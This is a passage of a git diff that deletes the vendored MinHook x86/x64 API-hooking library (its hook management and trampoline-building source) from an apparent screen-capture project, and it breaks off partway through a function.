- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include
-#include
-#include
-
-#include "../include/MinHook.h"
-#include "buffer.h"
-#include "trampoline.h"
-
-#ifndef ARRAYSIZE
- #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
-#endif
-
-// Initial capacity of the HOOK_ENTRY buffer.
-#define INITIAL_HOOK_CAPACITY 32
-
-// Initial capacity of the thread IDs buffer.
-#define INITIAL_THREAD_CAPACITY 128
-
-// Special hook position values.
-#define INVALID_HOOK_POS UINT_MAX
-#define ALL_HOOKS_POS UINT_MAX
-
-// Freeze() action argument defines.
-#define ACTION_DISABLE 0
-#define ACTION_ENABLE 1
-#define ACTION_APPLY_QUEUED 2
-
-// Thread access rights for suspending/resuming threads.
-#define THREAD_ACCESS \
- (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
-
-// Hook information.
-typedef struct _HOOK_ENTRY
-{
- LPVOID pTarget; // Address of the target function.
- LPVOID pDetour; // Address of the detour or relay function.
- LPVOID pTrampoline; // Address of the trampoline function.
- UINT8 backup[8]; // Original prologue of the target function.
-
- UINT8 patchAbove : 1; // Uses the hot patch area.
- UINT8 isEnabled : 1; // Enabled.
- UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
-
- UINT nIP : 4; // Count of the instruction boundaries.
- UINT8 oldIPs[8]; // Instruction boundaries of the target function.
- UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
-} HOOK_ENTRY, *PHOOK_ENTRY;
-
-// Suspended threads for Freeze()/Unfreeze().
-typedef struct _FROZEN_THREADS
-{
- LPDWORD pItems; // Data heap
- UINT capacity; // Size of allocated data heap, items
- UINT size; // Actual number of data items
-} FROZEN_THREADS, *PFROZEN_THREADS;
-
-//-------------------------------------------------------------------------
-// Global Variables:
-//-------------------------------------------------------------------------
-
-// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
-static volatile LONG g_isLocked = FALSE;
-
-// Private heap handle. If not NULL, this library is initialized.
-static HANDLE g_hHeap = NULL;
-
-// Hook entries.
-static struct
-{
- PHOOK_ENTRY pItems; // Data heap
- UINT capacity; // Size of allocated data heap, items
- UINT size; // Actual number of data items
-} g_hooks;
-
-//-------------------------------------------------------------------------
-// Returns INVALID_HOOK_POS if not found.
-static UINT FindHookEntry(LPVOID pTarget)
-{
- UINT i;
- for (i = 0; i < g_hooks.size; ++i)
- {
- if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
- return i;
- }
-
- return INVALID_HOOK_POS;
-}
-
-//-------------------------------------------------------------------------
-static PHOOK_ENTRY AddHookEntry()
-{
- if (g_hooks.pItems == NULL)
- {
- g_hooks.capacity = INITIAL_HOOK_CAPACITY;
- g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
- g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
- if (g_hooks.pItems == NULL)
- return NULL;
- }
- else if (g_hooks.size >= g_hooks.capacity)
- {
- PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
- g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
- if (p == NULL)
- return NULL;
-
- g_hooks.capacity *= 2;
- g_hooks.pItems = p;
- }
-
- return &g_hooks.pItems[g_hooks.size++];
-}
-
-//-------------------------------------------------------------------------
-static VOID DeleteHookEntry(UINT pos)
-{
- if (pos < g_hooks.size - 1)
- g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
-
- g_hooks.size--;
-
- if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
- {
- PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
- g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
- if (p == NULL)
- return;
-
- g_hooks.capacity /= 2;
- g_hooks.pItems = p;
- }
-}
-
-//-------------------------------------------------------------------------
-static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
-{
- UINT i;
-
- if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
- return (DWORD_PTR)pHook->pTarget;
-
- for (i = 0; i < pHook->nIP; ++i)
- {
- if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
- return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
- }
-
-#if defined(_M_X64) || defined(__x86_64__)
- // Check relay function.
- if (ip == (DWORD_PTR)pHook->pDetour)
- return (DWORD_PTR)pHook->pTarget;
-#endif
-
- return 0;
-}
-
-//-------------------------------------------------------------------------
-static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
-{
- UINT i;
- for (i = 0; i < pHook->nIP; ++i)
- {
- if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
- return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
- }
-
- return 0;
-}
-
-//-------------------------------------------------------------------------
-static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
-{
- // If the thread suspended in the overwritten area,
- // move IP to the proper address.
-
- CONTEXT c;
-#if defined(_M_X64) || defined(__x86_64__)
- DWORD64 *pIP = &c.Rip;
-#else
- DWORD *pIP = &c.Eip;
-#endif
- UINT count;
-
- c.ContextFlags = CONTEXT_CONTROL;
- if (!GetThreadContext(hThread, &c))
- return;
-
- if (pos == ALL_HOOKS_POS)
- {
- pos = 0;
- count = g_hooks.size;
- }
- else
- {
- count = pos + 1;
- }
-
- for (; pos < count; ++pos)
- {
- PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
- BOOL enable;
- DWORD_PTR ip;
-
- switch (action)
- {
- case ACTION_DISABLE:
- enable = FALSE;
- break;
-
- case ACTION_ENABLE:
- enable = TRUE;
- break;
-
- default: // ACTION_APPLY_QUEUED
- enable = pHook->queueEnable;
- break;
- }
- if (pHook->isEnabled == enable)
- continue;
-
- if (enable)
- ip = FindNewIP(pHook, *pIP);
- else
- ip = FindOldIP(pHook, *pIP);
-
- if (ip != 0)
- {
- *pIP = ip;
- SetThreadContext(hThread, &c);
- }
- }
-}
-
-//-------------------------------------------------------------------------
-static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
-{
- BOOL succeeded = FALSE;
-
- HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
- if (hSnapshot != INVALID_HANDLE_VALUE)
- {
- THREADENTRY32 te;
- te.dwSize = sizeof(THREADENTRY32);
- if (Thread32First(hSnapshot, &te))
- {
- succeeded = TRUE;
- do
- {
- if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
- && te.th32OwnerProcessID == GetCurrentProcessId()
- && te.th32ThreadID != GetCurrentThreadId())
- {
- if (pThreads->pItems == NULL)
- {
- pThreads->capacity = INITIAL_THREAD_CAPACITY;
- pThreads->pItems
- = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
- if (pThreads->pItems == NULL)
- {
- succeeded = FALSE;
- break;
- }
- }
- else if (pThreads->size >= pThreads->capacity)
- {
- LPDWORD p;
- pThreads->capacity *= 2;
- p = (LPDWORD)HeapReAlloc(
- g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
- if (p == NULL)
- {
- succeeded = FALSE;
- break;
- }
-
- pThreads->pItems = p;
- }
- pThreads->pItems[pThreads->size++] = te.th32ThreadID;
- }
-
- te.dwSize = sizeof(THREADENTRY32);
- } while (Thread32Next(hSnapshot, &te));
-
- if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
- succeeded = FALSE;
-
- if (!succeeded && pThreads->pItems != NULL)
- {
- HeapFree(g_hHeap, 0, pThreads->pItems);
- pThreads->pItems = NULL;
- }
- }
- CloseHandle(hSnapshot);
- }
-
- return succeeded;
-}
-
-//-------------------------------------------------------------------------
-static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
-{
- MH_STATUS status = MH_OK;
-
- pThreads->pItems = NULL;
- pThreads->capacity = 0;
- pThreads->size = 0;
- if (!EnumerateThreads(pThreads))
- {
- status = MH_ERROR_MEMORY_ALLOC;
- }
- else if (pThreads->pItems != NULL)
- {
- UINT i;
- for (i = 0; i < pThreads->size; ++i)
- {
- HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
- BOOL suspended = FALSE;
- if (hThread != NULL)
- {
- DWORD result = SuspendThread(hThread);
- if (result != 0xFFFFFFFF)
- {
- suspended = TRUE;
- ProcessThreadIPs(hThread, pos, action);
- }
- CloseHandle(hThread);
- }
-
- if (!suspended)
- {
- // Mark thread as not suspended, so it's not resumed later on.
- pThreads->pItems[i] = 0;
- }
- }
- }
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-static VOID Unfreeze(PFROZEN_THREADS pThreads)
-{
- if (pThreads->pItems != NULL)
- {
- UINT i;
- for (i = 0; i < pThreads->size; ++i)
- {
- DWORD threadId = pThreads->pItems[i];
- if (threadId != 0)
- {
- HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
- if (hThread != NULL)
- {
- ResumeThread(hThread);
- CloseHandle(hThread);
- }
- }
- }
-
- HeapFree(g_hHeap, 0, pThreads->pItems);
- }
-}
-
-//-------------------------------------------------------------------------
-static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
-{
- PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
- DWORD oldProtect;
- SIZE_T patchSize = sizeof(JMP_REL);
- LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
-
- if (pHook->patchAbove)
- {
- pPatchTarget -= sizeof(JMP_REL);
- patchSize += sizeof(JMP_REL_SHORT);
- }
-
- if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
- return MH_ERROR_MEMORY_PROTECT;
-
- if (enable)
- {
- PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
- pJmp->opcode = 0xE9;
- pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
-
- if (pHook->patchAbove)
- {
- PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
- pShortJmp->opcode = 0xEB;
- pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
- }
- }
- else
- {
- if (pHook->patchAbove)
- memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
- else
- memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
- }
-
- VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
-
- // Just-in-case measure.
- FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
-
- pHook->isEnabled = enable;
- pHook->queueEnable = enable;
-
- return MH_OK;
-}
-
-//-------------------------------------------------------------------------
-static MH_STATUS EnableAllHooksLL(BOOL enable)
-{
- MH_STATUS status = MH_OK;
- UINT i, first = INVALID_HOOK_POS;
-
- for (i = 0; i < g_hooks.size; ++i)
- {
- if (g_hooks.pItems[i].isEnabled != enable)
- {
- first = i;
- break;
- }
- }
-
- if (first != INVALID_HOOK_POS)
- {
- FROZEN_THREADS threads;
- status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
- if (status == MH_OK)
- {
- for (i = first; i < g_hooks.size; ++i)
- {
- if (g_hooks.pItems[i].isEnabled != enable)
- {
- status = EnableHookLL(i, enable);
- if (status != MH_OK)
- break;
- }
- }
-
- Unfreeze(&threads);
- }
- }
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-static VOID EnterSpinLock(VOID)
-{
- SIZE_T spinCount = 0;
-
- // Wait until the flag is FALSE.
- while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
- {
- // No need to generate a memory barrier here, since InterlockedCompareExchange()
- // generates a full memory barrier itself.
-
- // Prevent the loop from being too busy.
- if (spinCount < 32)
- Sleep(0);
- else
- Sleep(1);
-
- spinCount++;
- }
-}
-
-//-------------------------------------------------------------------------
-static VOID LeaveSpinLock(VOID)
-{
- // No need to generate a memory barrier here, since InterlockedExchange()
- // generates a full memory barrier itself.
-
- InterlockedExchange(&g_isLocked, FALSE);
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_Initialize(VOID)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap == NULL)
- {
- g_hHeap = HeapCreate(0, 0, 0);
- if (g_hHeap != NULL)
- {
- // Initialize the internal function buffer.
- InitializeBuffer();
- }
- else
- {
- status = MH_ERROR_MEMORY_ALLOC;
- }
- }
- else
- {
- status = MH_ERROR_ALREADY_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_Uninitialize(VOID)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- status = EnableAllHooksLL(FALSE);
- if (status == MH_OK)
- {
- // Free the internal function buffer.
-
- // HeapFree is actually not required, but some tools detect a false
- // memory leak without HeapFree.
-
- UninitializeBuffer();
-
- HeapFree(g_hHeap, 0, g_hooks.pItems);
- HeapDestroy(g_hHeap);
-
- g_hHeap = NULL;
-
- g_hooks.pItems = NULL;
- g_hooks.capacity = 0;
- g_hooks.size = 0;
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
- {
- UINT pos = FindHookEntry(pTarget);
- if (pos == INVALID_HOOK_POS)
- {
- LPVOID pBuffer = AllocateBuffer(pTarget);
- if (pBuffer != NULL)
- {
- TRAMPOLINE ct;
-
- ct.pTarget = pTarget;
- ct.pDetour = pDetour;
- ct.pTrampoline = pBuffer;
- if (CreateTrampolineFunction(&ct))
- {
- PHOOK_ENTRY pHook = AddHookEntry();
- if (pHook != NULL)
- {
- pHook->pTarget = ct.pTarget;
-#if defined(_M_X64) || defined(__x86_64__)
- pHook->pDetour = ct.pRelay;
-#else
- pHook->pDetour = ct.pDetour;
-#endif
- pHook->pTrampoline = ct.pTrampoline;
- pHook->patchAbove = ct.patchAbove;
- pHook->isEnabled = FALSE;
- pHook->queueEnable = FALSE;
- pHook->nIP = ct.nIP;
- memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
- memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
-
- // Back up the target function.
-
- if (ct.patchAbove)
- {
- memcpy(
- pHook->backup,
- (LPBYTE)pTarget - sizeof(JMP_REL),
- sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
- }
- else
- {
- memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
- }
-
- if (ppOriginal != NULL)
- *ppOriginal = pHook->pTrampoline;
- }
- else
- {
- status = MH_ERROR_MEMORY_ALLOC;
- }
- }
- else
- {
- status = MH_ERROR_UNSUPPORTED_FUNCTION;
- }
-
- if (status != MH_OK)
- {
- FreeBuffer(pBuffer);
- }
- }
- else
- {
- status = MH_ERROR_MEMORY_ALLOC;
- }
- }
- else
- {
- status = MH_ERROR_ALREADY_CREATED;
- }
- }
- else
- {
- status = MH_ERROR_NOT_EXECUTABLE;
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- UINT pos = FindHookEntry(pTarget);
- if (pos != INVALID_HOOK_POS)
- {
- if (g_hooks.pItems[pos].isEnabled)
- {
- FROZEN_THREADS threads;
- status = Freeze(&threads, pos, ACTION_DISABLE);
- if (status == MH_OK)
- {
- status = EnableHookLL(pos, FALSE);
-
- Unfreeze(&threads);
- }
- }
-
- if (status == MH_OK)
- {
- FreeBuffer(g_hooks.pItems[pos].pTrampoline);
- DeleteHookEntry(pos);
- }
- }
- else
- {
- status = MH_ERROR_NOT_CREATED;
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- if (pTarget == MH_ALL_HOOKS)
- {
- status = EnableAllHooksLL(enable);
- }
- else
- {
- UINT pos = FindHookEntry(pTarget);
- if (pos != INVALID_HOOK_POS)
- {
- if (g_hooks.pItems[pos].isEnabled != enable)
- {
- FROZEN_THREADS threads;
- status = Freeze(&threads, pos, ACTION_ENABLE);
- if (status == MH_OK)
- {
- status = EnableHookLL(pos, enable);
-
- Unfreeze(&threads);
- }
- }
- else
- {
- status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
- }
- }
- else
- {
- status = MH_ERROR_NOT_CREATED;
- }
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
-{
- return EnableHook(pTarget, TRUE);
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
-{
- return EnableHook(pTarget, FALSE);
-}
-
-//-------------------------------------------------------------------------
-static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
-{
- MH_STATUS status = MH_OK;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- if (pTarget == MH_ALL_HOOKS)
- {
- UINT i;
- for (i = 0; i < g_hooks.size; ++i)
- g_hooks.pItems[i].queueEnable = queueEnable;
- }
- else
- {
- UINT pos = FindHookEntry(pTarget);
- if (pos != INVALID_HOOK_POS)
- {
- g_hooks.pItems[pos].queueEnable = queueEnable;
- }
- else
- {
- status = MH_ERROR_NOT_CREATED;
- }
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
-{
- return QueueHook(pTarget, TRUE);
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
-{
- return QueueHook(pTarget, FALSE);
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_ApplyQueued(VOID)
-{
- MH_STATUS status = MH_OK;
- UINT i, first = INVALID_HOOK_POS;
-
- EnterSpinLock();
-
- if (g_hHeap != NULL)
- {
- for (i = 0; i < g_hooks.size; ++i)
- {
- if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
- {
- first = i;
- break;
- }
- }
-
- if (first != INVALID_HOOK_POS)
- {
- FROZEN_THREADS threads;
- status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
- if (status == MH_OK)
- {
- for (i = first; i < g_hooks.size; ++i)
- {
- PHOOK_ENTRY pHook = &g_hooks.pItems[i];
- if (pHook->isEnabled != pHook->queueEnable)
- {
- status = EnableHookLL(i, pHook->queueEnable);
- if (status != MH_OK)
- break;
- }
- }
-
- Unfreeze(&threads);
- }
- }
- }
- else
- {
- status = MH_ERROR_NOT_INITIALIZED;
- }
-
- LeaveSpinLock();
-
- return status;
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_CreateHookApiEx(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
- LPVOID *ppOriginal, LPVOID *ppTarget)
-{
- HMODULE hModule;
- LPVOID pTarget;
-
- hModule = GetModuleHandleW(pszModule);
- if (hModule == NULL)
- return MH_ERROR_MODULE_NOT_FOUND;
-
- pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
- if (pTarget == NULL)
- return MH_ERROR_FUNCTION_NOT_FOUND;
-
- if (ppTarget != NULL)
- *ppTarget = pTarget;
-
- return MH_CreateHook(pTarget, pDetour, ppOriginal);
-}
-
-//-------------------------------------------------------------------------
-MH_STATUS WINAPI MH_CreateHookApi(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
-{
- return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
-}
-
-//-------------------------------------------------------------------------
-const char *WINAPI MH_StatusToString(MH_STATUS status)
-{
-#define MH_ST2STR(x) \
- case x: \
- return #x;
-
- switch (status) {
- MH_ST2STR(MH_UNKNOWN)
- MH_ST2STR(MH_OK)
- MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
- MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
- MH_ST2STR(MH_ERROR_ALREADY_CREATED)
- MH_ST2STR(MH_ERROR_NOT_CREATED)
- MH_ST2STR(MH_ERROR_ENABLED)
- MH_ST2STR(MH_ERROR_DISABLED)
- MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
- MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
- MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
- MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
- MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
- MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
- }
-
-#undef MH_ST2STR
-
- return "(unknown)";
-}
diff --git a/BackstageCapture/Minhook/src/trampoline.c b/BackstageCapture/Minhook/src/trampoline.c
deleted file mode 100644
index cf8ce05..0000000
--- a/BackstageCapture/Minhook/src/trampoline.c
+++ /dev/null
@@ -1,320 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include
-
-#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
- #define ALLOW_INTRINSICS
- #include
-#endif
-
-#ifndef ARRAYSIZE
- #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
-#endif
-
-#if defined(_M_X64) || defined(__x86_64__)
- #include "./hde/hde64.h"
- typedef hde64s HDE;
- #define HDE_DISASM(code, hs) hde64_disasm(code, hs)
-#else
- #include "./hde/hde32.h"
- typedef hde32s HDE;
- #define HDE_DISASM(code, hs) hde32_disasm(code, hs)
-#endif
-
-#include "trampoline.h"
-#include "buffer.h"
-
-// Maximum size of a trampoline function.
-#if defined(_M_X64) || defined(__x86_64__)
- #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
-#else
- #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
-#endif
-
-//-------------------------------------------------------------------------
-static BOOL IsCodePadding(LPBYTE pInst, UINT size)
-{
- UINT i;
-
- if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
- return FALSE;
-
- for (i = 1; i < size; ++i)
- {
- if (pInst[i] != pInst[0])
- return FALSE;
- }
- return TRUE;
-}
-
-//-------------------------------------------------------------------------
-BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
-{
-#if defined(_M_X64) || defined(__x86_64__)
- CALL_ABS call = {
- 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
- 0xEB, 0x08, // EB 08: JMP +10
- 0x0000000000000000ULL // Absolute destination address
- };
- JMP_ABS jmp = {
- 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
- 0x0000000000000000ULL // Absolute destination address
- };
- JCC_ABS jcc = {
- 0x70, 0x0E, // 7* 0E: J** +16
- 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
- 0x0000000000000000ULL // Absolute destination address
- };
-#else
- CALL_REL call = {
- 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
- 0x00000000 // Relative destination address
- };
- JMP_REL jmp = {
- 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
- 0x00000000 // Relative destination address
- };
- JCC_REL jcc = {
- 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
- 0x00000000 // Relative destination address
- };
-#endif
-
- UINT8 oldPos = 0;
- UINT8 newPos = 0;
- ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
- BOOL finished = FALSE; // Is the function completed?
-#if defined(_M_X64) || defined(__x86_64__)
- UINT8 instBuf[16];
-#endif
-
- ct->patchAbove = FALSE;
- ct->nIP = 0;
-
- do
- {
- HDE hs;
- UINT copySize;
- LPVOID pCopySrc;
- ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
- ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
-
- copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
- if (hs.flags & F_ERROR)
- return FALSE;
-
- pCopySrc = (LPVOID)pOldInst;
- if (oldPos >= sizeof(JMP_REL))
- {
- // The trampoline function is long enough.
- // Complete the function with the jump to the target function.
-#if defined(_M_X64) || defined(__x86_64__)
- jmp.address = pOldInst;
-#else
- jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
-#endif
- pCopySrc = &jmp;
- copySize = sizeof(jmp);
-
- finished = TRUE;
- }
-#if defined(_M_X64) || defined(__x86_64__)
- else if ((hs.modrm & 0xC7) == 0x05)
- {
- // Instructions using RIP relative addressing. (ModR/M = 00???101B)
-
- // Modify the RIP relative address.
- PUINT32 pRelAddr;
-
- // Avoid using memcpy to reduce the footprint.
-#ifndef ALLOW_INTRINSICS
- memcpy(instBuf, (LPBYTE)pOldInst, copySize);
-#else
- __movsb(instBuf, (LPBYTE)pOldInst, copySize);
-#endif
- pCopySrc = instBuf;
-
- // Relative address is stored at (instruction length - immediate value length - 4).
- pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
- *pRelAddr
- = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
-
- // Complete the function if JMP (FF /4).
- if (hs.opcode == 0xFF && hs.modrm_reg == 4)
- finished = TRUE;
- }
-#endif
- else if (hs.opcode == 0xE8)
- {
- // Direct relative CALL
